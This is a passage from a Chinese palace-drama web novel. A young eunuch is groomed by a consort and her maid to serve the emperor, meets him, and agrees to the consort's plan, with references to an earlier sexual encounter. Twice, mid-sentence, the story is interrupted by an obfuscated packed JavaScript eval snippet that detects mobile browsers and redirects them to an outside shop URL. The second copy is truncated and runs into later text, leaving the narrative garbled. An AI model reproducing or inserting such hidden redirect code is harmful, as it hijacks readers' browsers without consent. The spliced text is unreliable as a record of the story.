楚玉看着他眼中那点微弱的光芒,松开了手,站起身,走到桌边,拿起了那本深褐色的皮册。然后,在关禧惊讶的目光中,她走到屋角的炭盆边,掏出火折子,吹亮。 橘红的火苗蹿起,照亮了她半边沉静的侧脸。 她将手中的皮册,凑到了火苗上。 纸张极易燃烧,火舌瞬间舔舐上去,迅速蔓延。浓烟和焦糊味在屋内弥漫开来,那些不堪入目的画面在火焰中扭曲,卷曲,化为灰烬。 关禧呆呆地看着。 楚玉将燃烧的册子丢进炭盆,看着它彻底被火焰吞噬,才转过身,看向关禧。 “这本,不必留了。”她的声音恢复了平淡,“该记住的,你已经记住了。剩下的,是随机应变。陛下是人,不是画册,不会有固定的套路。你需要学的,是如何察言观色,如何顺势而为,如何在最糟糕的情形下,给自己争取一点点余地。” 她走回桌边,拿起另外两本册子,递给关禧:“这两本,收好。规矩和基本的技巧,不能忘。” 关禧接过册子,指尖触及绢面和锦缎,冰凉。 “明日晚膳后,西暖阁。”楚玉最后说道,“我会教你,如何将那些画里的东西,变成你能做出的动作。不是真的,只是……演练。” 说完,她不再停留,转身拉开门,身影融入门外沉沉的夜色中。 45.第 46 章 接下来的两天,风平浪静。 冯昭仪没有再召见关禧,楚玉也没有再出现。只有陈立德来过一次,神色如常地交代了些书斋的琐事,好像那晚西暖阁的教导只是一场寻常的差事,早已完结。 关禧照常去书斋当差,核对账目,整理文书。只是偶尔,他会停下笔,望着窗外发呆,指尖无意识地在粗糙的纸面上摩挲。 夜里,他躺在那张狭窄的床上,会无可避免地想起暖阁里的一切。楚玉的喘息,她身体的温度,她眼中被情欲淹没的迷离,以及最后那冰封般的疲惫。 那些画面与第三本画册里不堪入目的场景重叠,又截然不同。画册里只有技巧和屈辱,而暖阁里……有温度,有疼痛,有失控,还有一种将两人一同拖入深渊的紧密联结。 他唾弃自己这具身体的反应,唾弃那晚的失控,更唾弃心底某处,竟因那短暂的结合而生出不该有的悸动和占有欲。 但更多的时候,是一种沉甸甸的茫然。 楚玉为什么要做到那一步?仅仅是为了教导他如何侍寝?还是……有别的,连她自己都未必明白,或者不愿承认的原因? 而他自己,接下来又该如何? 三日的期限,像悬在头顶的铡刀,正在倒数。 第三日,午后。 日影透过书斋的茜纱窗,在地上投下一片模糊的菱形光斑,空气中浮动的尘埃清晰可见。 关禧正伏在案前,笔尖悬在一份誊录了一半的秋季衣料支领清单上,墨迹将干未干。他的姿态看似专注,脊背挺得笔直,握着紫毫笔的手指却有些僵硬,指尖发白。 门外传来急促的脚步声,停在门口。 陈立德的身影出现在门边,他今日的脸色不同寻常,不是平日的刻板或偶尔的圆滑,他甚至没有像往常那样先咳一声,目光直接落在关禧身上。 “小离子,放下手里的活,即刻收拾一下,随我去乾元殿。” 乾元殿。 皇帝日常起居理政的所在。 关禧握着笔的手指一顿,一滴饱满的墨汁顺着笔尖滴落,在雪白的宣纸上泅开一小团突兀的污迹。他缓缓抬起眼,看向陈立德,脸上没什么表情,只有睫毛在午后明亮的光线中投下浅浅的阴影,颤动着。 “是,陈公公。”他搁下笔,站起身,将誊录到一半的清单仔细用镇纸压好,又整理了一下身上那套浆洗得干净挺括的靛青色太监服,这是他今日特意换上的,料子比平日那套略厚实些,颜色也更深,几乎接近鸦青,衬得他脸色愈发苍白,也将那股介于少年与青年之间的清冷轮廓勾勒得更加分明。 陈立德快速打量了他一眼,目光在他脸上停留了一瞬,似乎想说什么,终究只是动了动嘴角,低声道:“机灵些。跟上。” 没有多余的交代,没有临行前的嘱咐。一切尽在不言中。 关禧垂着眼,跟在陈立德身后半步,走出了书斋。 午后的阳光铺天盖地洒下来,带着秋日特有的干爽和一丝不易察觉的凉意,落在承华宫朱红的廊柱和金色的琉璃瓦上,晃得人有些眼花。 他走在熟悉的回廊上,每一步都踏得实实的,脚下的青石板传来坚硬的触感。路过西暖阁所在的院落时,他目不斜视,只有袖中的手指悄然蜷缩,指甲抵着掌心。 穿过后院,走向通往乾元殿的宫道时,气氛明显不同了。巡逻的侍卫增多,穿着石青色曳撒的高阶内侍步履匆匆,神色肃穆。空气里弥漫着一种无形的紧绷感,连风声似乎都收敛了许多。 陈立德走得很快,关禧紧跟其后,低着头,视线只及前方之人的靴跟。 沿途有许多目光落在关禧身上,带着审视,好奇,估量,或是不加掩饰的打量。 乾元殿巍峨的轮廓出现在视野尽头。不同于后宫宫殿的精致华丽,这座帝王居所更显庄严肃穆,重檐庑殿顶在秋阳下泛着暗金色光泽,汉白玉的基座高大宽阔,殿前广场上立着铜龟铜鹤。 陈立德在殿前广场的边缘停下,这里已有数名同样穿着石青色曳撒的太监垂手侍立。他上前与其中一位面白无须,眉眼细长的中年太监低声交谈了几句,那太监的目光随即向关禧扫来,然后点了点头。 “在此候着。”陈立德退回来,对关禧低声嘱咐了一句,便站到了一旁,眼观鼻鼻观心,不再看他。 关禧独自站在原地,垂手肃立。 秋日的风穿过空旷的广场,卷起他鸦青色袍服的一角,带来阵阵凉意,他抬眸,望向那雕刻着繁复龙纹的殿门。 门扉厚重,漆色深暗。门内,就是那位掌握着生杀予夺大权,也将决定他此后命运的年轻帝王,萧衍。 时间在无声的等待中流逝,每一息都被拉得极长,殿内隐约传来极低的说话声。 关禧的思绪有些飘忽,他想起了停尸房的冰冷草席,想起了净舍的疼痛和恐惧,想起了楚玉在浴堂门口提着的那盏灯,想起了西暖阁甜靡暖香中那双染上情欲,深褐色的眼。 然后,他强迫自己将所有这些都压回心底最深处。 现在,他是小离子,承华宫书斋一个识得几个字,做事还算仔细的小太监。他即将面圣,去御前伺候笔墨。仅此而已。 “宣——承华宫太监小离子,觐见——” 殿内传来一声清晰的通传,在寂静的广场上回荡。 关禧深吸一口气,垂着头,跟在一位引路太监身后,迈上了那高高的汉白玉台阶。 跨过高高的门槛,一股混合着龙涎香墨香,以及某种难以言喻的威严气息扑面而来。 殿内光线比外面稍暗。鎏金蟠龙柱支撑着高阔的穹顶,地上铺着光亮可鉴的金砖,御座设在层层丹墀之上,明黄色的帷幔低垂。此刻御座上无人,侧边的紫檀木大书案后,一个身着杏黄常服的年轻男子正低头批阅奏章。 正是皇帝萧衍。 他比关禧上次在承华宫惊鸿一瞥时看得更清楚些。侧面看去,鼻梁高挺,下颌线条清晰,肤色是久居室内不见烈日的白皙。握着朱笔的手指修长有力,腕骨突出。他批阅得很快,偶尔蹙眉,偶尔提笔写下批注,神情专注而淡漠,周身笼罩着一层无形的威压,让这宽阔的殿宇都显得逼仄。 引路太监示意关禧在距离书案丈许远的地方停下,跪下。 关禧依言跪下,额头触地,屏住呼吸,维持着最恭顺的姿态。 殿内只有朱笔划过纸面的沙沙声,以及更漏滴滴答答的轻响。 不知过了多久,或许只是一盏茶的时间,或许更久。那沙沙声停了。 萧衍搁下笔,抬手揉了揉眉心,然后,目光转向下方。 “抬起头来。”声音不高,听不出什么情绪。 关禧抬头,视线恭敬地落在萧衍胸前杏黄色常服绣着的暗纹龙爪上,不敢再往上。 “走近些。”萧衍又道。 关禧起身,垂首向前走了几步,在距离书案三四步远的地方重新跪下。这个距离,他能更清晰地感受到来自御座方向的压迫感,也能闻到更浓郁的龙涎香气,混合着萧衍身上一种类似冷冽松针的气息。 “冯昭仪说,你书斋的差事做得仔细,字也写得端正。今日送来的这批奏章摘要,是你整理的?” 关禧这才注意到,萧衍手边除了待批的奏章,还有一沓用整齐楷书誊录的纸张,正是他这几日在书斋奉命整理的各地奏报摘要,将冗长的奏章提炼出要点,方便御览。 “回陛下,是奴才誊录的。”关禧谨慎答道,声音控制得平稳,属于少年人的清润。 “嗯。”萧衍应了一声,指尖在那沓摘要上点了点,“条理尚可。这里,淮北水患,巡抚请拨粮二十万石,后面标注了去岁淮北存粮数与今春播种种量……是你自己查的旧档?” “是。奴才想着,陛下或需知晓往年情形以作参详,便斗胆查了去岁相关记录,附注于后。”关禧心跳加快,这确实是他自作主张加上的,不知是福是祸。 萧衍沉默了片刻,目光在他低垂的头顶停留了一瞬。 “倒是有点心思。”语气平淡,听不出褒贬,“起来吧。过来,磨墨。” 关禧依言起身,走到紫檀木书案侧前方。那里设有一张稍矮的酸枝木小几,上面放着端砚,墨锭,清水盂等物。他挽起袖子,露出半截白皙的手腕,先往砚台中注入少许清水,然后取过那块御用的龙香墨锭,一手稳住砚台边缘,另一手三指捏住墨锭,力道均匀地开始研磨。 这是他练习过无数遍的动作。手腕要稳,力道要匀,速度要不疾不徐,研磨出的墨汁需浓淡适中,细腻无渣。他做得极其专注,仿佛天地间只剩下手中这方砚,这块墨。鸦青色的袖口随着动作微微晃动,露出一截皓腕,与深色的衣袖形成对比。 萧衍重新拿起朱笔,目光落在奏章上,并未看他。但关禧能感觉到,那道淡漠的视线,偶尔会掠过他研磨的手,他低垂的侧脸,他随着呼吸起伏的肩线。 殿内再次安静下来,只有墨锭与砚台摩擦发出的极细微的沙沙声,和更漏滴答。 时间缓缓流淌。关禧始终保持着同样的姿势和节奏,手腕开始发酸,却不敢有丝毫松懈。额角渐渐沁出细密的汗珠,顺着鬓角悄悄滑落。 许久,萧衍批完了一本奏章,随手放下。他身体向后,靠在宽大的紫檀木椅背上,指尖在扶手上轻轻敲击了两下,目光 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17022940|192226||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 再次投向关禧。 “停下吧。” 关禧立刻停下动作,将墨锭小心放回原位,垂手肃立。 “会烹茶吗?”萧衍问。 “奴才……略知一二。”关禧谨慎答道,在承华宫,楚玉偶尔会让他试着煮过,冯昭仪对茶道颇为讲究,他耳濡目染,记下了一些步骤。 “去,把那套雨过天青的茶具取来,烹一壶龙团胜雪。”萧衍指了指殿内东侧的多宝阁。 关禧应声,走到多宝阁前。上面陈列着各式珍玩,他一眼就看到了那套雨过天青色的瓷质茶具,釉色温润如玉,在殿内光线下流转着淡淡的光华。他小心翼翼地将茶壶,茶杯,茶盏等一一取出,放在一个托盘上,又找到了装有龙团胜雪茶饼的锡罐。 回到书案旁,他先净了手,然后用特制的小银刀从茶饼上撬下适量茶末,投入温过的壶中。接着是煮水,殿角的小红泥炉上坐着银铫子,水已微沸。他提起铫子,先以沸水快速冲洗一遍茶具,然后将适量热水注入壶中,片刻后倒掉,此为醒茶。再次注水,这次的水温,水量,注水的手法都需讲究。 关禧凝神静气,手腕轻提,让水流如丝般缓缓落入壶心,茶叶在壶中舒展翻滚,一股清冽高雅的香气随之弥漫开来。 他的动作算不上多么行云流水,却足够沉稳细致,鸦青色的身影在御前晃动,衬得那摆弄茶具的素白手指格外醒目。 萧衍靠在椅背上,静静看着。他的目光比刚才更加直接,不再掩饰打量和评估。从关禧低垂的眼睫,到挺直的鼻梁,到抿起的唇,再到那截随着动作时隐时现的白皙后颈,最后落在他烹茶的手上,手指修长,骨节分明。 茶香渐浓。 关禧将烹好的茶汤斟入天青色的盏中,汤色清澈,犹如初雪融化。他双手捧起茶盏,躬身奉到萧衍面前。 “陛下请用茶。” 萧衍接过茶盏,指尖不可避免地与关禧的手指有了一瞬极轻微的触碰。关禧像是被烫到般迅速缩回手,垂得更低。 萧衍仿佛未觉,端起茶盏,先观色,再嗅香,最后才啜饮一口。 “尚可。”他放下茶盏,评价依旧简短。 关禧心头微松,躬身退到一旁。 萧衍的目光重新落在关禧身上,这一次,停留的时间更长,也更沉。 “王元宝当初挑人进宫,倒有几分眼光。”他忽然开口,语气似是随意,“你这张脸,生得确实不错。” 关禧喉咙发紧,不知该如何回应,只能将头埋得更低:“陛下谬赞。” “谬赞?”萧衍轻笑了一声,那笑声很短,没什么温度,“抬起头,看着朕。” 关禧的喉结滚动了一下。他极其缓慢地抬起头,视线被迫上移,掠过明黄的衣襟,绣金的龙纹,最终,对上了萧衍的眼睛。 那是一双颜色偏深的眸子,眼尾微微下垂,看人时显得疏离。此刻,这双眼睛里清晰地映出关禧苍白而难掩精致的脸,也映出他眼中无法完全掩饰的紧张,以及深处那一丝竭力压制的抗拒。 四目相对。 萧衍细细描摹着关禧脸上的每一寸轮廓,就像在鉴赏一件器物,评估其成色和价值。那目光里没有情欲,至少没有世俗意义上的情欲,更像是一种对所有物的审视,一种对特别之物的兴趣。 “怕朕?”萧衍问。 关禧的睫毛颤抖了一下,声音干涩:“陛下天威……奴才惶恐。” “惶恐……”萧衍重复了一遍,指尖在扶手上轻轻敲击,“冯昭仪将你调理得不错。身子看着是大好了。” 这话意有所指。 “是托陛下洪福,娘娘恩典。”关禧机械地回答。 萧衍不再说话,继续看着他。那沉默比任何话语都更具压迫感。关禧僵立在原地,感觉时间从未如此难熬,每一息都像是在火上炙烤。 良久,萧衍终于移开了目光,重新投向书案上的奏章,仿佛刚才那番审视只是兴之所至。 “下去吧。”他淡淡吩咐,“明日申时,再来伺候笔墨。” 关禧如蒙大赦,立刻躬身:“奴才遵旨,奴才告退。” 他保持着躬身的姿态,一步步向后退去,直到退出殿门,重新踏入秋日午后的阳光里,才感觉那扼住喉咙的无形之手稍稍松开。冷汗早已浸透了内衫,黏腻地贴在背上,被风一吹,冰凉刺骨。 引路的太监还在外面等候,见他出来,还是那副面无表情的样子,领着他走下丹墀。 回承华宫的路上,关禧脚步虚浮,脑子里纷乱一片。萧衍最后那个眼神,那句“明日申时再来”,像烙印般刻在心头。 明日……还要去。 46.第 47 章 离承华宫宫门还有一段距离,关禧便察觉到了异样。 平日里这个时辰,宫门处除了值守的太监,多半是安静或仅有几人低声交谈。可今日,宫门附近的回廊下,檐角后,甚至远处的花圃边,影影绰绰地聚着不少人,目光或明或暗地,都朝着他回来的方向瞟。 待他走近,那些原本散在各处忙碌或歇脚的太监们,约好了般,渐渐围拢过来。 率先迎上来的是刘宝,脸上堆着比往日更夸张三分的笑容,老远就拱手:“哎哟,咱们的离子兄弟回来了!瞧瞧这气色,这精神头,不愧是去过乾元殿,见过大世面的!” 他这一嗓子,像是打开了闸门。平日里与关禧不过点头之交,甚至有些面生的太监,也都挤上前来,七嘴八舌: “离子哥,快给咱们讲讲,乾元殿里头什么样?陛下的龙书案是不是镶金的?” “陛下天颜如何?可曾问起咱们承华宫?离子兄弟这回可是在御前露了脸,往后飞黄腾达,可别忘了提携提携兄弟们!” “就是就是!离子兄弟这通身的气派,一看就是贵人相!陛下定然是赏识的!” “听说陛下还让离子哥烹茶了?那可是天大的恩典!离子哥真是心灵手巧!” 恭维,试探,羡慕,嫉恨……种种情绪混杂在那些过分热切的话语和眼神里,像一张密不透风的网,将关禧裹在中央,他能闻到这些人身上散发的汗味,能看到他们眼中毫不掩饰的对一步登天可能性的渴望。 被围在中间,耳边嗡嗡作响,那些话语像隔着一层水传来,模糊而嘈杂,他脸上没什么表情,还是那副苍白沉静的模样,只是蹙起的眉心和略显僵硬的站姿,泄露了他此刻的厌烦。 他试图挪动脚步,想从人堆里挤出去,回到他那间至少能暂时隔绝喧嚣的小屋。但刘宝等人堵得严实,嘴上不停,身体有意无意地挡着他的去路。 “各位公公,”关禧终于开口,“奴才不过是奉娘娘之命,去御前听候差遣,做了分内之事,实在当不起各位如此抬爱。陛下天威难测,奴才唯有惶恐,不敢妄言。还请各位行个方便,奴才需去向娘娘复命。” 他话说得谦卑,语气却疏离,将陛下天威和向娘娘复命抬了出来,试图划清界限,也提醒这些人适可而止。 可在可能攀上高枝的诱惑前,这点委婉的拒绝显得苍白无力。 刘宝嘿嘿一笑,伸手想拍关禧的肩膀,被关禧不着痕迹地侧身避开,他也不恼,继续道:“离子兄弟就是太谦虚!复命不急在这一时嘛,咱们兄弟也是关心你,为你高兴!你这一去,可是给咱们承华宫挣了脸面!回头娘娘肯定也有赏赐!到时候可要请咱们喝杯酒水啊!” 旁边有人附和:“对对对!离子哥,日后在御前得了好,手指缝里漏点,就够咱们感恩戴德了!” 关禧的眉头蹙得更紧,指尖在袖中悄悄蜷起,这些人的嘴脸,比乾元殿里皇帝的审视更让他感到一种黏腻的恶心。 一个清冷的声音,像冰棱划破喧嚣,在不远处响起: “都围在这里做什么?差事都做完了?” 人群瞬间一静,像被掐住了脖子的鸡鸭,讪讪地分开一条道。只见楚玉不知何时已站在回廊的拐角处,依旧是一身淡青色宫装,发髻梳得一丝不苟,脸上没什么表情,手里拿着一卷用锦带系着的文书,像是刚从什么地方过来。 “娘娘正等着小离子回话。”楚玉淡淡道,语气听不出喜怒,“刘宝,前院东侧廊下的地砖松动了三处,你可查验报修了?还有你们,”她目光扫过其他几个探头探脑的太监,“该洒扫的去洒扫,该值守的去值守,聚在这里嚼舌头,是想去慎刑司喝茶?” 几句话,轻描淡写,却让众人脊背一凉。 刘宝等人连忙躬身赔笑:“青黛姐姐恕罪,咱们就是……就是替离子兄弟高兴,这就散了,这就去干活!”说着,再不敢多留,一溜烟地作鸟兽散。 人群散去,方才的喧嚣瞬间沉寂,只余下秋风穿过空荡回廊的细微声响。 关禧站在原地,看向楚玉。她站在几步开外,廊下的阴影将她半边身子笼罩,看不太清神情。 “走吧。”楚玉没多看他,转身,朝承华宫深处走去,步履平稳,“娘娘在西暖阁。” 关禧抿了抿唇,默默跟上。 两人一前一后,隔着不远不近的距离,走在午后寂静的宫道上。脚步声在青石板上发出轻响,彼此可闻,却无人开口。 阳光斜照,将两人的影子拉得长长,时而交叠,时而分开。关禧看着前方楚玉挺直略显单薄的背影,那身淡青色的衣裙在光线下显得有些清冷。他想起那晚暖阁里,那身海棠红色衣裙如何被揉皱褪下,想起她散乱的长发,迷离的眼,以及最后那冰封般的疲惫和那句“忘掉”。 喉咙有些发干,心头像堵着一团乱麻。乾元殿的紧张,归来后的围堵,此刻与楚玉独处的微妙……种种情绪交织翻涌。他知道,有些话必须说,哪怕可能不合时宜,哪怕会再次触碰到两人之间的禁忌。 他加快半步,走到与楚玉并肩的位置,声音干涩: “楚玉。” 楚玉脚步未停,侧脸看了他一眼,示意自己在听。 关禧吸了口气,目光落在前方地面的青砖缝隙里,斟酌着词句:“方才……多谢你解围。还有……那天晚上,在西暖阁……我……我很抱歉。” 他终究是说出了“抱歉”这两个字。为那晚的失控,为可能带给她的伤害,也为此刻两人之间这诡异难言的气氛。他不知道楚玉会如何反应,或许会再次用沉默将他推开,或许会干脆否认那晚的一切。 楚玉的脚步顿了一下,又立刻恢复如常。她没有回应。 两人又沉默地走了一段路,绕过一处假山,西暖阁所在的僻静院落已在望。 楚玉忽然开口,声音比刚才少了几分刻意的冷硬: “御前之事,娘娘自会问你。该说的说,不该说的,一个字也别多提。”她像是在交代差事,又补充了一句,语气有些难以捉摸,“陛下既让你明日再去,便是暂无异动。做好你分内的事,其他的……勿要多想。” 她避开了西暖阁的话题,只谈御前。但这已是一种态度的松动,至少,她没有再次用忘掉来斩断一切。 关禧还欲再言,楚玉已抬手示意他噤声,西暖阁到了。 院门虚掩,楚玉上前轻轻推开,侧身让关禧先进。 关禧迈步进去,院中那株老桂花树开得正盛,浓郁甜香扑面而来,与记忆中暖阁内甜靡的暖香截然不同,却莫名让他心跳漏了一拍。他不由自主地瞥了一眼西暖阁的门窗,那里静悄悄的,仿佛那晚的激烈只是一场幻梦。 楚玉跟在他身后进了院子,反手将院门掩上,隔绝了外界的视线与声响。她走到西暖阁门前,转过身,面对着关禧。 两人站在桂树的阴影下,花香馥郁,秋阳透过枝叶缝隙,在她脸上投下斑驳的光影。她看着关禧,目光在他有些苍白的脸上停留片刻,极轻地叹了口气。 “进去吧。”她低声道,抬手替他理了理方才被人群挤得微乱的衣领边缘,动作很快,一触即分,“娘娘问什么,便答什么。记住,在娘娘面前,你只是小离子。” 她的指尖触碰带来的凉意,与她话语中那丝几乎难以捕捉近乎叮嘱的意味,让关禧怔了一瞬。他还未来得及细品其中含义,楚玉已转过身,叩响了西暖阁的门扉。 “娘娘,小离子来了。” “进来。” 门内传来冯媛的声音,比平日的温婉多了几分不易察觉的沉。 楚玉推开门,侧身让开关禧,自己并未跟入,只垂眸立在门边,将内里的空间全然留给了冯媛与关禧。 西暖阁内,那日残留的甜靡暖香早已散尽,取而代之的是冯媛惯用的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“是非?”冯媛唇角勾起一抹极淡的弧度,“有时候,是非不是你想避就能避开的。尤其是当你有了旁人没有的造化时。”她放下茶盏,声音更缓,字字清晰,“陛下为何独独留意你?是因为你差事办得好?还是因为王元宝的眼光,因为本宫的调理,因为……你这张脸?” 关禧手指蜷缩,指甲抵住掌心。 “本宫不妨把话说得更明白些。”冯媛坐直了身子,那股慵懒气息散去,属于昭仪的威仪悄然弥漫,“陛下对你有意,这是你的机会,也是你的劫数。用得好,你或许能在这深宫里挣出一条不太一样的前路,连带着承华宫也能多一分倚仗。用得不好,或是心生妄念,或是行差踏错……那便是万丈深渊,粉身碎骨,连本宫也未必拉得住你。” 她盯着关禧的眼睛,不容他躲闪:“本宫最后问你一次,那条路,你是走,还是不走?” 走,便是彻底接受礼物的身份,沿着冯媛与楚玉铺就的阶梯,走向皇帝的龙榻。不走?此刻还有不走的余地吗?乾元殿的传唤已下,无数双眼睛已将他看作即将攀上高枝的贵人,冯媛的布局也已到了关键处。不走,便是废子,下场或许比曹旺之流更不堪。 关禧抬起眼,对上冯媛深邃的目光,他缓缓跪下,这一次,脊背挺得笔直,声音清脆: “奴才愿为娘娘前驱,谨遵娘娘教诲。” 冯媛看着他,良久,轻轻吐出一口气,那口气里似乎卸下了什么,又似乎压上了更重的东西,“很好。”她重新靠回软枕,恢复了那副温婉模样,“记住你今日的话。起来吧。” 关禧起身,垂手肃立。 “青黛。”冯媛唤道。 一直静立在门外的楚玉应声而入,步履无声,淡青色的裙摆拂过光洁的地面。 “带他去量尺寸,裁衣。明日申时前,务必收拾妥当。”冯媛吩咐道,目光在楚玉平静的脸上停留一瞬,又转向关禧,“下去吧。好生准备。” “是,奴才告退。”